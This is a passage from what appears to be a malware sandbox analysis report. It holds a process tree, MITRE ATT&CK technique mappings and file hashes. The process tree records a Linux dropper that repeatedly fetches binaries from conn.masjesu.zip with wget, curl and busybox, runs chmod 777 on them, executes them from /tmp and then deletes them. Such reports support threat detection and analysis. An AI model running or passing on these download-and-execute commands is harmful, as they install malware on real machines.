  - Executes dropped EXE
  PID:967
- /bin/rm
  rm FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  PID:968
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:972
- /bin/chmod
  chmod 777 TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  ./TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  PID:975
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - System Network Configuration Discovery
  PID:979
- /bin/chmod
  chmod 777 iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  ./iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:982
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - System Network Configuration Discovery
  PID:983
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - System Network Configuration Discovery
  PID:986
- /bin/chmod
  chmod 777 ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  ./ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Executes dropped EXE
  PID:988
- /bin/rm
  rm ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:989
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - System Network Configuration Discovery
  PID:990
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:991
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:993
- /bin/chmod
  chmod 777 MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  ./MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - Executes dropped EXE
  PID:995
- /bin/rm
  rm MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:996
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  PID:997
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:998
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /bin/chmod
  chmod 777 Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - File and Directory Permissions Modification
  PID:1001
- /tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  ./Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1002
- /bin/rm
  rm Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  PID:1003
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1005
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:1007
- /bin/chmod
  chmod 777 cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - File and Directory Permissions Modification
  PID:1008
- /tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  ./cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - Executes dropped EXE
  PID:1009
- /bin/rm
  rm cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:1010

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX

Path /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download